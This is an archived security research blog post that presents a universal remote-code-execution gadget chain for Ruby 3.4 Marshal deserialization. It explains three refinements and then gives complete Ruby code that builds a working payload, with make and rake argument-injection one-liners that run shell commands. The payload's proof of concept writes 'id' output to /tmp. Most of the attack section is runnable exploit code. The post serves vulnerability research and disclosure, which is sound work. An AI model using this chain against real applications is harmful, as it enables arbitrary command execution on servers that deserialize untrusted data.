

Ruby 3.4 Universal RCE Deserialization Gadget Chain / nastystereo.com

Ruby 3.4 Universal RCE Deserialization Gadget Chain / nastystereo.com - Luke Jahnke, nastystereo.com.

- Published: date not stated
- Original: <<https://nastystereo.com/security/ruby-3.4-deserialization.html>>
- Preserved from: <https://nastystereo.com/security/ruby-3.4-deserialization.html> (stored) on 2026-08-11
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Ruby 3.4 Universal RCE Deserialization Gadget Chain

Luke Jahnke 24 November 2024

In a blog post from 2018 I shared the first universal gadget chain to exploit Ruby deserialization. There have been many new versions of Ruby since then, sometimes including code changes that break published gadget chains. So far, the breaks have only ever been temporary, with the infosec community releasing new gadget chains as needed.

- November 8, 2018 - [Ruby 2.x Universal RCE Deserialization Gadget Chain](#) by Luke Jahnke
- March 2, 2019 - [Universal RCE with Ruby YAML.load](#) by Etienne Stalmans
- January 7, 2021 - [Universal Deserialisation Gadget for Ruby 2.x-3.x](#) by William Bowling
- January 9, 2021 - [Universal RCE with Ruby YAML.load \(versions > 2.7\)](#) by Etienne Stalmans
- March 28, 2022 - [Ruby Deserialization - Gadget on Rails](#) by httpvoid
- April 4, 2022 - [Round Two: An Updated Universal Deserialisation Gadget for Ruby 2.x-3.x](#) by William Bowling
- May 17, 2022 - [Ruby Vulnerabilities: Exploiting Dangerous Open, Send and Deserialization Operations](#) by Ben Lincoln
- March 13, 2024 - [Discovering Deserialization Gadget Chains in Rubyland](#) by Alex Leahu
- June 20, 2024 - [Execute commands by sending JSON? Learn how unsafe deserialization vulnerabilities work in Ruby projects](#) by Peter Stöckli
- October 17 2024 - [Updated ruby gadget for marshal loading](#) by Leonardo Giovannini

While the most recent gadget chain works against Ruby 3.4-rc, there are three improvements I wanted to investigate:

- The vulnerable application performing deserialization must have already loaded the `net/http` library to be able to use the URI module.
- For the remote command execution (RCE) gadget chain, the `zip` binary must be available on the system, which is not the case for official ruby Docker images.
- An exception is raised at the end of processing the gadget chain.

Improvement 1

While I did not find a gadget to load the standard URI module, I found that RubyGems includes a vendored copy of URI under `Gem::URI` that is suitable. Although also not available by default, it can become loaded through deserialization as `Gem::SpecFetcher` is registered for autoloading, which loads `Gem::RemoteFetcher` which loads `Gem::Request` which loads `Gem::Net` which finally loads `Gem::URI`.

Improvement 2

Instead of ending the gadget chain with executing the `zip` binary with a malicious argument, `rake` or `make` are better candidates. They are installed by default in the official ruby Docker images and `rake` is in the top 10 most downloaded Ruby dependencies. They both also meet the requirement of executing arbitrary commands with control over `ARGV[2]` but not `ARGV[1]` (thanks [GTFOBins](#)).

```
$ rake rev-parse '-p`/bin/id 1>&0`'  
uid=1000(app) gid=1000(app) groups=1000(app)  
  
$ make rev-parse '$'--eval=rev-parse:`\n\t-/bin/id`  
/bin/id  
uid=1000(app) gid=1000(app) groups=1000(app)
```

Improvement 3

The next improvement was to avoid the exception being raised after executing the gadget chain. The exception comes from the start of the gadget chain being a `Gem::Version` object. While `Gem::Version` is useful as it calls the `to_s` method on an arbitrary object, unfortunately it also performs a strict regular expression match against the value returned by the `to_s` method.

```

class Gem::Version
  VERSION_PATTERN = '[0-9]+(?>\.[0-9a-zA-Z]+)*(-[0-9A-Za-z-]+\.[0-9A-Za-z-]+)*?' # :nodoc:
  ANCHORED_VERSION_PATTERN = /\A\s*#{VERSION_PATTERN}?s*\z/ # :nodoc:

  def marshal_load(array)
    initialize array[0]
  end

  def initialize(version)
    unless self.class.correct?(version)
      raise ArgumentError, "Malformed version number string #{version}"
    end
  end

  [...]
end

def self.correct?(version)
  nil_versions_are_discouraged! if version.nil?

  ANCHORED_VERSION_PATTERN.match?(version.to_s)
end

```

There are a few different approaches we could try to avoid the exception:

- Swap out the start of the gadget chain for an alternative. If an alternative can be found that calls `to_s` on an arbitrary object then the change is straightforward. If this does not exist, then the gadget chain would have to be reworked with new gadgets.
- See if the return value of `to_s` can be adjusted to match the regular expression with alternative attribute values.
- Find a sort of proxy object that has a `to_s` method which calls `to_s` on an attribute which, while not returning this value, still has a controllable return value.

I confirmed the final approach is possible with an `UncaughtThrowError` object (defined in `vm_eval.c`).

```

#define id_mesg idMesg
static ID id_result, id_tag, id_value;

void
Init_vm_eval(void)
{
    [...]
    rb_eUncaughtThrow = rb_define_class("UncaughtThrowError", rb_eArgError);
    rb_define_method(rb_eUncaughtThrow, "to_s", uncaught_throw_to_s, 0);
    id_tag = rb_intern_const("tag");
    [...]
}

static VALUE
uncaught_throw_to_s(VALUE exc)
{
    VALUE mesg = rb_attr_get(exc, id_mesg);
    VALUE tag = uncaught_throw_tag(exc);
    return rb_str_format(1, &tag, mesg);
}

static VALUE
uncaught_throw_tag(VALUE exc)
{
    return rb_ivar_get(exc, id_tag);
}

```

This is perfect as we can use the `%s` conversion specifier to trigger a call to `to_s`. To suppress the value returned by `to_s` we change `%s` to `%.0s`, which truncates to a 0 length string. Then we include the text of what we want the return value to be, specifically a version string that matches the regular expression.

Now that we have avoided the exception, we no longer need two separate gadget chains and can combine them into a single payload.

Gadget Chain

The following gadget chain contains my three improvements, but is based on the work of others, including Leonardo Giovanni, Peter Stöckli and William Bowling.

Gem::SpecFetcher # Autoload

```
def call_url_and_create_folder(uri)
  # improvement 1
  uri = Gem::URI::HTTP.allocate
  uri.instance_variable_set("@path", "/")
  uri.instance_variable_set("@scheme", "s3")
  uri.instance_variable_set("@host", url + "?")
  # c5fe... is the SHA-1 of "any"
  uri.instance_variable_set("@port",
    ".../..." +
    "tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/"
  )
  uri.instance_variable_set("@user", "any")
  uri.instance_variable_set("@password", "any")

  source = Gem::Source.allocate
  source.instance_variable_set("@uri", uri)
  source.instance_variable_set("@update_cache", true)

  index_spec = Gem::Resolver::IndexSpecification.allocate
  index_spec.instance_variable_set("@name", "name")
  index_spec.instance_variable_set("@source", source)

  request_set = Gem::RequestSet.allocate
  request_set.instance_variable_set("@sorted_requests", [index_spec])

  lockfile = Gem::RequestSet::Lockfile.new("", "")
  lockfile.instance_variable_set("@set", request_set)
  lockfile.instance_variable_set("@dependencies", [])

  return lockfile
end

def git_gadget(executable, second_param)
  git_source = Gem::Source::Git.allocate
  git_source.instance_variable_set("@git", executable)
  git_source.instance_variable_set("@reference", second_param)
  git_source.instance_variable_set("@root_dir", "/tmp")
  git_source.instance_variable_set("@repository", "any")
  git_source.instance_variable_set("@name", "any")

  spec = Gem::Resolver::Specification.allocate
  spec.instance_variable_set("@name", "any")
```

```

spec.instance_variable_set("@dependencies",[])

git_spec = Gem::Resolver::GitSpecification.allocate
git_spec.instance_variable_set("@source", git_source)
git_spec.instance_variable_set("@spec", spec)

spec_specification = Gem::Resolver::SpecSpecification.allocate
spec_specification.instance_variable_set("@spec", git_spec)

return spec_specification
end

def command_gadget(command_to_execute)
  # improvement 2
  git_gadget_execute_cmd = git_gadget("make", "--eval=rev-parse:\n\t-#{command_to_execute}")

  request_set = Gem::RequestSet.allocate
  request_set.instance_variable_set("@sorted_requests", [git_gadget_execute_cmd])

  lockfile = Gem::RequestSet::Lockfile.new("", "")
  lockfile.instance_variable_set("@set", request_set)
  lockfile.instance_variable_set("@dependencies",[])

  return lockfile
end

def to_s_wrapper(inner)
  # improvement 3 - note we cannot use allocate + instance_variable_set
  # as the instance variable name does not begin with @
  ute = UncaughtThrowError.new(inner, nil, "%0s1337.nastystereo.com")

  version = Gem::Version.allocate
  version.instance_variable_set("@version", ute)

  return version
end

def create_rce_gadget_chain(command_to_execute)
  exec_gadget = command_gadget(command_to_execute)

  return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(exec_gadget)])
end

url = "rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz"

```

```
call_url_gadget = call_url_and_create_folder(url)

exec_gadget = command_gadget("id > /tmp/marshal-poc")
rce_gadget_chain = Marshal.dump(
  [
    Gem::SpecFetcher,
    to_s_wrapper(call_url_gadget),
    to_s_wrapper(exec_gadget)
  ]
)

puts rce_gadget_chain.inspect
```

Future Improvements

The biggest remaining improvement is to move away from using the `popen` sink from `Gem::Source::Git` in the gadget chain. Achieving this would hopefully mean the gadget chain no longer issues outbound network requests or modifies the filesystem.

[« Back to homepage](#)

Archived from <https://nastystereo.com/security/ruby-3.4-deserialization.html>. Rendered offline from the local Markdown copy.